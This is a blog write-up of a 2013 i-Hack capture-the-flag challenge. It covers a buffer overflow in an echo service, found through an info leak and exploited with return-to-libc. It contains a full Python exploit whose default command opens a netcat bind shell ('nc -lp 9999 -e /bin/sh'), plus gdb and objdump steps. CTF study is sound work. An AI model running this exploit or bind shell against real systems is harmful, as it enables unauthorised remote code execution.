Monday 15 April 2013

Post mortem i-Hack 2013 "redacted" service

I only managed to solve this service slightly after the competition ended. I did not notice the /bin/redacted/redacted service until it was 10 pm in the evening. I was really not used to not have proper privileges over my own box, mind me. The network during the competition was quite bad, which I suspected the cause was the bandwidth cap implemented by the organizers. There was even so much automated scanning made by other competitors towards our machines, rapidly accumulating our bandwidth to trigger the cap.

It was until the organizers stopped the game at about 8.30pm that they've fixed the bandwidth cap (and also increased users' privileges too?). Most of the time before discovering this service, I was trying to pull binaries from our own box,  but scp could hardly got up to 32kb before stalling. The only solution was to gzip those files and serve it in /var/www/upload, and then use a download manager to pull in the archives (due to the disconnections). And then I was trying so hard to debug samba and dovecot service. Could not get them to work on my environment (Could someone clarify whether there was any custom holes in those services?). Although, the game setup was same for everyone, so it's still fair I guess.

Enough ranting, this service is running on port 43123 which provides an "echo" service with a buffer overflow vulnerability. The binary is protected with both full ASLR and NX stack.
A hex-rays dump shows us exactly this vulnerable function:

int __cdecl redacted(int fd)
{
  char s[120]; // [sp+1Ch] [bp-8Ch]@1
  int v3; // [sp+94h] [bp-14h]@1
  int i; // [sp+98h] [bp-10h]@5
  size_t n; // [sp+9Ch] [bp-Ch]@1

  n = 120;
  memset(s, 0, 0x78u);
  v3 = read(fd, s, 0xFFu);
  if ( v3 < 0 )
    error("ERROR reading from socket");
  if ( (signed int)n > 255 )
    n = 255;
  printf("Echoing %d characters\n", n);
  for ( i = 0; i < (signed int)n; ++i )
  {
    write(fd, &s[i], 1u);
    if ( v3 < 0 )
      error("ERROR writing to socket");
  }
  return 0;
}


As you can see, the binary accepts 255 bytes of payload while the memory set for the buffer is only 120. Also the buffer is the first variable declared, leaving all other variables vulnerable, including the return address. While a jmp esp would have got the job done (which actually exists in the binary), NX bit made our lives a bit harder. But all is not lost, we still have the probability to execute our exploit through ROP if there is a way for us to determine the address of libc through the buffer overflow. The size of buffer to be echo'ed (n) was limited to 120 at first, and then is changed to 255 only if it is more than 255. We can try this:

python -c "print 'eggg'+'A'*140" | nc localhost 43123| hd
00000000  65 67 67 67 41 41 41 41  41 41 41 41 41 41 41 41  |egggAAAAAAAAAAAA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
00000070  41 41 41 41 41 41 41 41  91 00 00 00 7c 00 00 00  |AAAAAAAA....|...|
00000080  ff 00 00 00 41 41 41 41  41 41 41 41 41 41 41 41  |....AAAAAAAAAAAA|
00000090  0a 89 04 08 09 00 00 00  40 d7 ff ff 60 d7 ff ff  |........@...`...|
000000a0  54 a0 04 08 04 00 00 00  f4 9f 04 08 01 00 00 00  |T...............|
000000b0  f9 84 04 08 02 00 8e 77  7f 00 00 01 00 00 00 00  |.......w........|
000000c0  00 00 00 00 02 00 a8 73  00 00 00 00 00 00 00 00  |.......s........|
000000d0  00 00 00 00 10 00 00 00  00 00 00 00 09 00 00 00  |................|
000000e0  73 a8 00 00 f0 89 04 08  00 00 00 00 00 00 00 00  |s...............|
000000f0  d3 44 e3 f7 01 00 00 00  14 d8 ff ff 1c d8 ff     |.D.............|
000000ff


Yup, the overwrite certainly triggered the server to print out 255 bytes which contains a dump of the stack from the server. Lets see if any of the info here is useful. Running the program in gdb allows us to examine the binary. But before that, we should note that the binary handles SIGSEGV and SIGINT in the main function:


signal(2, (__sighandler_t)wrapUp_int);
signal(11, (__sighandler_t)wrapUp_segv);

I assumed this to ensure cleaner exit for this service, but it also acts as a simple anti-debugging feature that makes us a little bit harder to examine segmentation faults from gdb. Nevertheless, a gdb script could help effectively "disable" the segv handler:

file redacted
set follow-fork-mode child
set detach-on-fork off
b main
run
set {int}0x8048876 = 2
continue
 Now we can freely debug and happily catch segv if any. But not gonna do that now. Break on 0x804884d and get to this point:

(gdb) x/1x 0xf7e344d3
0xf7e344d3 <__libc_start_main+243>:     0xe8240489

So the offset from this leak is libc+243, which I assume to be a return address from a libc call.
Clearly we can exploit this service through info leak & return to libc. A bonus is that stack address is there too, which makes us to be able to determine exactly where our payload is located in the stack, so there is no need for us to chain ROP gadgets for capturing our buffer. Notice I have added "eggg" in my previous payload. This is to make our egg hunting easier. A simple search in the stack using gdb would do:

(gdb) find /w 0xffffd000, 0xffffdfff, 0x67676765
0xffffd68c
1 pattern found.

To get the offset for our payload, simply:
0xffffd740 - 0xffffd68c = 0xb4

From the leak, we have known that the libc address is __libc_start_main+243, so to get the correct offset for libc we should subtract the leak address with 243, and then the main offset. Objdump would give us the offsets:

root@kali:~# objdump -T /lib32/libc.so.6 | grep "_main\|system"
0011d7c0 g    DF .text    00000049  GLIBC_2.0   svcerr_systemerr
0006c5a0 g    DF .text    00000028  GLIBC_2.2   _IO_switch_to_main_wget_area
0003f430 g    DF .text    0000008d  GLIBC_PRIVATE __libc_system
0003f430  w   DF .text    0000008d  GLIBC_2.0   system
000193e0 g    DF .text    000001c2  GLIBC_2.0   __libc_start_main

So the _main function from libc is 0x193e0, and system is at 0x3f430. We can conclude that to get to system, a simple algorithm can be used: [leak]-243-[libc_main]+[system]. We could always used other functions from libc too, but its simpler to use system here since it only requires 1 argument. A warning though, this binary does not write any output to our socket after the exploit. To get output, we would have to get our socket fd, also we would need to chain up read+write etc. Simplest solution would be to execute a bind shell.

To wrap up, here comes an ugly-but-nice exploit in python.

#!/usr/bin/python

import sys
import socket
import select
from struct import pack, unpack

def get_leaks():
        global serv
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((serv, 43123))
        s.send("A"*144)
        str = s.recv(255, socket.MSG_WAITALL)
        stack = unpack("<I",str[152:156])[0]-0xB4
        libc_main = unpack("<I",str[240:244])[0]-243
        return (stack,libc_main)

def exploit(cmd):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((serv, 43123))

###SYSTEM
        buf = "%-144s%s" % (cmd, pack("<I", system))
        buf += pack("<I", pop2ret)
        buf += pack("<I", stack)
        buf += "NULL"

###EXIT #overkill. but its nice to be nice :)
        buf += pack("<I",exit)
        buf += pack("<I",0xdeadbeef)
        buf += pack("<I",0)
        s.send(buf)


        ready = select.select([s],[],[],2) #2 seconds timeout
        if ready[0]:
                print "[!]Got reply : %s " % s.recv(1024)
                return False
        return True

bind = False
argv = sys.argv
if len(argv) < 2:
        sys.exit("Usage: 43123.py target cmd")
if len(argv) < 3:
        cmd = "%s" % "/bin/nc -lp 9999 -e /bin/sh;exit;"
        bind = True
else:
        cmd = ' '.join(argv[2:])
if len(cmd) > 144:
        sys.exit("Sorry, more than 144 chars")


serv = argv[1]
libc_main_offset = 0x193e0
leaks = get_leaks()
stack = leaks[0]
libc = leaks[1]-libc_main_offset
system = libc+0x3f430
exit = libc+0x32fb0
pop2ret = 0x080486c2
#mmap = libc+0xeb040

print "\n[+]libc = %x\n[+]stack = %x\n[+]system = %x\n[+]cmd = %s" % (libc, stack, system, cmd)
print "[+]Sending sploit"
stat = exploit(cmd)

if (bind and stat):
        import subprocess
        print "[+]Incoming bindshell"
        subprocess.call("nc -v "+serv+" 9999", shell=True)

Screenshot. Hackers love screenshot.



After we're inside, to get the flag we could just do: dd if=/dev/kondom count=100 skip=33664 bs=1 2>/dev/null

Oh well, too late for that. My performance is just way too bad this time. Good practice anyway.

Thanks to scan associates for organizing this game. To UiTM for hosting this event. Grats to winners for winning. Hope to see you guys around. Until next time :)

Here's some cookie:
redacted
libc.so.6

7 comments:

  1. Great write-up!

    ReplyDelete
  2. wooohoo!!! someone manage to solve chaah's madness!! congrats! awesome writeup! :D

    ReplyDelete
  3. awesome writeup, I wasted few hour on this binary, end by give up on this. :)

    ReplyDelete
    Replies
    1. Thanks. Sometimes knowing the details would definitely help :)

      Delete
  4. Nice writeup :) you should try in HITB

    ReplyDelete